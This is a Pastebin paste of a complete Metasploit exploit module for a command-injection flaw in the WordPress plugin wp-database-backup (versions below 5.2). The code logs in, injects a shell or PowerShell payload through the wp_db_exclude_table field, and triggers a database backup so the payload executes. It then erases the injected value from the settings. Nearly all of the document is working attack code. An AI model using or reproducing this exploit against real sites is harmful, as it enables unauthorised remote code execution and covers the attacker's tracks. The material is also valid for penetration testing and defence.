TVT618

EDB-ID-47187 Remote Code To Exploit (Metasploit)

Jul 29th, 2019
561
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Exploit::Remote
  7.   Rank = ExcellentRanking
  8.  
  9.   include Msf::Exploit::CmdStager
  10.   include Msf::Exploit::Powershell
  11.   include Msf::Exploit::Remote::HTTP::Wordpress
  12.  
  13.   def initialize(info = {})
  14.     super(update_info(info,
  15.       'Name'           => 'WP Database Backup RCE',
  16.       'Description'    => %q(
  17.         There exists a command injection vulnerability in the Wordpress plugin
  18.         `wp-database-backup` for versions < 5.2.
  19.  
  20.         For the backup functionality, the plugin generates a `mysqldump` command
  21.         to execute. The user can choose specific tables to exclude from the backup
  22.         by setting the `wp_db_exclude_table` parameter in a POST request to the
  23.         `wp-database-backup` page. The names of the excluded tables are included in
  24.         the `mysqldump` command unsanitized. Arbitrary commands injected through the
  25.         `wp_db_exclude_table` parameter are executed each time the functionality
  26.         for creating a new database backup are run.
  27.  
  28.         Authentication is required to successfully exploit this vulnerability.
  29.       ),
  30.       'License'        => MSF_LICENSE,
  31.       'Author'         =>
  32.       [
  33.         'Mikey Veenstra / Wordfence',  # Vulnerability Discovery
  34.        'Shelby Pace'                  # Metasploit module
  35.      ],
  36.       'References'     =>
  37.         [
  38.           [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
  39.         ],
  40.       'Platform'       => [ 'win', 'linux' ],
  41.       'Arch'           => [ ARCH_X86, ARCH_X64 ],
  42.       'Targets'        =>
  43.         [
  44.           [
  45.             'Windows',
  46.             {
  47.               'Platform'        => 'win',
  48.               'Arch'            => [ ARCH_X86, ARCH_X64 ]
  49.             }
  50.           ],
  51.           [
  52.             'Linux',
  53.             {
  54.               'Platform'        =>  'linux',
  55.               'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
  56.               'CmdStagerFlavor' =>  'printf'
  57.             }
  58.           ]
  59.         ],
  60.       'DisclosureDate' => '2019-04-24',
  61.       'DefaultTarget'  => 0
  62.     ))
  63.  
  64.     register_options(
  65.     [
  66.       OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
  67.       OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
  68.       OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
  69.     ])
  70.   end
  71.  
  72.   def check
  73.     return CheckCode::Unknown unless wordpress_and_online?
  74.  
  75.     changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
  76.     res = send_request_cgi(
  77.       'method'  =>  'GET',
  78.       'uri'     =>  changelog_uri
  79.     )
  80.  
  81.     if res && res.code == 200
  82.       version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
  83.       return CheckCode::Detected unless version && version.length > 1
  84.  
  85.       vprint_status("Version of wp-database-backup detected: #{version[1]}")
  86.       return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')
  87.     end
  88.     CheckCode::Safe
  89.   end
  90.  
  91.   def exploit
  92.     cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
  93.     fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie
  94.  
  95.     res = create_exclude_table(cookie)
  96.     nonce = get_nonce(res)
  97.     create_backup(cookie, nonce)
  98.  
  99.     clear_exclude_table(cookie)
  100.   end
  101.  
  102.   def create_exclude_table(cookie)
  103.     @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
  104.     res = send_request_cgi(
  105.       'method'    =>  'GET',
  106.       'uri'       =>  @exclude_uri,
  107.       'cookie'    =>  cookie,
  108.       'vars_get'  =>  { 'page'  =>  'wp-database-backup' }
  109.     )
  110.  
  111.     fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
  112.     print_good('Reached the wp-database-backup settings page')
  113.     if datastore['TARGET'] == 1
  114.       comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
  115.       comm_payload = comm_payload.join('&&')
  116.       comm_payload = comm_payload.gsub('\'', '')
  117.       comm_payload = "; #{comm_payload} ;"
  118.     else
  119.       comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
  120.     end
  121.  
  122.     table_res = send_request_cgi(
  123.       'method'    =>  'POST',
  124.       'uri'       =>  @exclude_uri,
  125.       'cookie'    =>  cookie,
  126.       'vars_post' =>
  127.       {
  128.         'wpsetting'                       =>  'Save',
  129.         'wp_db_exclude_table[wp_comment]' =>  comm_payload
  130.       }
  131.     )
  132.  
  133.     fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
  134.     print_good('Successfully added payload as an excluded table')
  135.  
  136.     res.get_html_document
  137.   end
  138.  
  139.   def get_nonce(response)
  140.     fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response
  141.  
  142.     div_res = response.at('p[@class="submit"]')
  143.     fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res
  144.  
  145.     wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
  146.     fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1
  147.  
  148.     wpnonce[1]
  149.   end
  150.  
  151.   def create_backup(cookie, nonce)
  152.     first_res = send_request_cgi(
  153.       'method'    =>  'GET',
  154.       'uri'       =>  @exclude_uri,
  155.       'cookie'    =>  cookie,
  156.       'vars_get'  =>
  157.       {
  158.         'page'      =>  'wp-database-backup',
  159.         '_wpnonce'  =>  nonce,
  160.         'action'    =>  'createdbbackup'
  161.       }
  162.     )
  163.  
  164.     res = send_request_cgi(
  165.       'method'    =>  'GET',
  166.       'uri'       =>  @exclude_uri,
  167.       'cookie'    =>  cookie,
  168.       'vars_get'  =>
  169.       {
  170.         'page'          =>  'wp-database-backup',
  171.         'notification'  =>  'create'
  172.       }
  173.     )
  174.  
  175.     fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
  176.     print_good('Successfully created a backup of the database')
  177.   end
  178.  
  179.   def clear_exclude_table(cookie)
  180.     res = send_request_cgi(
  181.       'method'    =>  'POST',
  182.       'uri'       =>  @exclude_uri,
  183.       'cookie'    =>  cookie,
  184.       'vars_post' =>
  185.       {
  186.         'wpsetting'                       =>  'Save',
  187.         'wp_db_exclude_table[wp_comment]' =>  'wp_comment'
  188.       }
  189.     )
  190.  
  191.    fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
  192.    print_good('Successfully deleted the payload from the excluded tables list')
  193.   end
  194. end
RAW Paste Data